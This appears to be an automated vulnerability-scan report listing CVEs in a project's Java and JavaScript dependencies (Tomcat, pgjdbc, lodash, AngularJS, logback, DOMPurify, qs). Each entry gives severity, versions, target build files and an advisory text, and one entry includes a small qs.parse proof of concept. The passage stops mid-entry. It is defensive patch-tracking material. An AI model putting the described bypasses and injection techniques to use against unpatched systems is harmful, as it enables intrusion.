CVE-2026-42198 - org.postgresql:postgresql

Status: CONTINUED

Severity: HIGH

Installed Version: 42.5.5

Fixed Version: 42.7.11

Target: qa/wildfly26-runtime/pom.xml

Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication

Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

Reference: https://avd.aquasec.com/nvd/cve-2026-42198

CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...

Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-42498

CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...

Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-42498

CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...

Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-42498

CVE-2026-42498 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...

Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-42498

CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...

Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43513

CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...

Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43513

CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...

Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43513

CVE-2026-43513 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...

Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43513

CVE-2026-4800 - lodash

Status: CONTINUED

Severity: HIGH

Installed Version: 4.17.21

Fixed Version: 4.18.0

Target: webapps/frontend/package-lock.json

Title: lodash: lodash: Arbitrary code execution via untrusted input in template imports

Description:
Impact:

The fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.

When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.

Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().

Patches:

Users should upgrade to version 4.18.0.

Workarounds:

Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.

Reference: https://avd.aquasec.com/nvd/cve-2026-4800

CVE-2022-25844 - angular

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: angular: Regular Expression Denial of Service (ReDoS) in angular

Description:
The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value. **Note:** 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

Reference: https://avd.aquasec.com/nvd/cve-2022-25844

CVE-2022-25869 - angular

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: angularjs: Angular Cross-site Scripting (XSS)

Description:
All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

Reference: https://avd.aquasec.com/nvd/cve-2022-25869

CVE-2023-26116 - angular

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: angularjs: Regular Expression Denial of Service via angular.copy()

Description:
Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

Reference: https://avd.aquasec.com/nvd/cve-2023-26116

CVE-2023-26117 - angular

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: angularjs: Regular expression denial of service via the $resource service

Description:
Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the $resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

Reference: https://avd.aquasec.com/nvd/cve-2023-26117

CVE-2023-26118 - angular

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: angularjs: Regular Expression Denial of Service via the <input type="url"> element

Description:
Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

Reference: https://avd.aquasec.com/nvd/cve-2023-26118

CVE-2024-12798 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.2.11

Fixed Version: 1.5.13, 1.3.15

Target: commons/pom.xml

Title: ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ...

Description:
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core
upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows
attacker to execute arbitrary code by compromising an existing
logback configuration file or by injecting an environment variable
before program execution.





Malicious logback configuration files can allow the attacker to execute
arbitrary code using the JaninoEventEvaluator extension.



A successful attack requires the user to have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2024-12798

CVE-2024-12798 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.2.11

Fixed Version: 1.5.13, 1.3.15

Target: commons/testing/pom.xml

Title: ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ...

Description:
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core
upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows
attacker to execute arbitrary code by compromising an existing
logback configuration file or by injecting an environment variable
before program execution.





Malicious logback configuration files can allow the attacker to execute
arbitrary code using the JaninoEventEvaluator extension.



A successful attack requires the user to have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2024-12798

CVE-2024-38820 - org.springframework:spring-context

Status: CONTINUED

Severity: MEDIUM

Installed Version: 5.3.39

Fixed Version: 6.1.14

Target: qa/integration-tests-engine/pom.xml

Title: The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ...

Description:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.

Reference: https://avd.aquasec.com/nvd/cve-2024-38820

CVE-2024-38820 - org.springframework:spring-web

Status: CONTINUED

Severity: MEDIUM

Installed Version: 5.3.39

Fixed Version: 6.1.14

Target: qa/integration-tests-engine/pom.xml

Title: The fix for CVE-2022-22968 made disallowedFieldspatterns in DataBinder ...

Description:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.

Reference: https://avd.aquasec.com/nvd/cve-2024-38820

CVE-2024-6485 - bootstrap

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.4.1

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: A security vulnerability has been discovered in bootstrap that could e ...

Description:
A security vulnerability has been discovered in bootstrap that could enable Cross-Site Scripting (XSS) attacks. The vulnerability is associated with the data-loading-text attribute within the button plugin. This vulnerability can be exploited by injecting malicious JavaScript code into the attribute, which would then be executed when the button's loading state is triggered.

Reference: https://avd.aquasec.com/nvd/cve-2024-6485

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.2.11

Fixed Version: 1.5.19, 1.3.16

Target: commons/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.2.11

Fixed Version: 1.5.19, 1.3.16

Target: commons/testing/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter-client/spring-boot/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter-security/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter-test/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-11226 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.5.18

Fixed Version: 1.5.19, 1.3.16

Target: spring-boot-starter/starter/pom.xml

Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.



A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must  have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.

Reference: https://avd.aquasec.com/nvd/cve-2025-11226

CVE-2025-13465 - lodash

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.17.21

Fixed Version: 4.17.23

Target: webapps/frontend/package-lock.json

Title: lodash: prototype pollution in _.unset and _.omit functions

Description:
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

This issue is patched on 4.17.23

Reference: https://avd.aquasec.com/nvd/cve-2025-13465

CVE-2025-15284 - qs

Status: CONTINUED

Severity: MEDIUM

Installed Version: 6.13.0

Fixed Version: 6.14.1

Target: webapps/frontend/package-lock.json

Title: Improper Input Validation vulnerability in qs (parse modules) allows H ...

Description:
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.


Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}





Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}





The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.



PoC

const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)





Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

Reference: https://avd.aquasec.com/nvd/cve-2025-15284

CVE-2025-15599 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.4

Fixed Version: 3.2.7

Target: webapps/frontend/package-lock.json

Title: DOMPurify: DOMPurify: Cross-site scripting

Description:
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

Reference: https://avd.aquasec.com/nvd/cve-2025-15599

CVE-2025-15599 - dompurify

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.2.5

Fixed Version: 3.2.7

Target: engine-rest/docs/package-lock.json

Title: DOMPurify: DOMPurify: Cross-site scripting

Description:
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

Reference: https://avd.aquasec.com/nvd/cve-2025-15599

CVE-2025-1647 - bootstrap

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.4.1

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: Improper Neutralization of Input During Web Page Generation (XSS or 'C ...

Description:
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bootstrap allows Cross-Site Scripting (XSS).This issue affects Bootstrap: from 3.4.1 before 4.0.0.

Reference: https://avd.aquasec.com/nvd/cve-2025-1647

CVE-2025-2336 - angular-sanitize

Status: CONTINUED

Severity: MEDIUM

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: Improper sanitization of the value of the 'href' and 'xlink:href' attr ...

Description:
Improper sanitization of the value of the 'href' and 'xlink:href' attributes in '<image>' SVG elements in AngularJS's 'ngSanitize' module allows attackers to bypass common image source restrictions. This can lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing  and also negatively affect the application's performance and behavior by using too large or slow-to-load images.

This issue affects AngularJS versions greater than or equal to 1.3.1.

Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .

Reference: https://avd.aquasec.com/nvd/cve-2025-2336

CVE-2025-48924 - org.apache.commons:commons-lang3

Status: CONTINUED

Severity: MEDIUM

Installed Version: 3.17.0

Fixed Version: 3.18.0

Target: spring-boot-starter/starter/pom.xml

Title: Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ...

Description:
Uncontrolled Recursion vulnerability in Apache Commons Lang.

This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.

The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.

Users are recommended to upgrade to version 3.18.0, which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-48924

CVE-2025-53864 - com.nimbusds:nimbus-jose-jwt

Status: CONTINUED

Severity: MEDIUM

Installed Version: 9.37.3

Fixed Version: 10.0.2, 9.37.4

Target: spring-boot-starter/starter-security/pom.xml

Title: Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON

Description:
Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.

Reference: https://avd.aquasec.com/nvd/cve-2025-53864

CVE-2025-64718 - js-yaml

Status: CONTINUED

Severity: MEDIUM

Installed Version: 4.1.0

Fixed Version: 4.1.1, 3.14.2

Target: engine-rest/docs/package-lock.json

Title: js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1. ...

Description:
js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).

Reference: https://avd.aquasec.com/nvd/cve-2025-64718

CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 11.0.15, 10.1.50, 9.0.113

Target: distro/run/core/pom.xml

Title: tomcat: Client certificate verification bypass due to virtual host mapping

Description:
Improper Input Validation vulnerability.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.



The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.


Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-66614

CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 11.0.15, 10.1.50, 9.0.113

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: tomcat: Client certificate verification bypass due to virtual host mapping

Description:
Improper Input Validation vulnerability.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.



The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.


Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-66614

CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.44

Fixed Version: 11.0.15, 10.1.50, 9.0.113

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: tomcat: Client certificate verification bypass due to virtual host mapping

Description:
Improper Input Validation vulnerability.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.



The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.


Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-66614

CVE-2025-66614 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: MEDIUM

Installed Version: 10.1.43

Fixed Version: 11.0.15, 10.1.50, 9.0.113

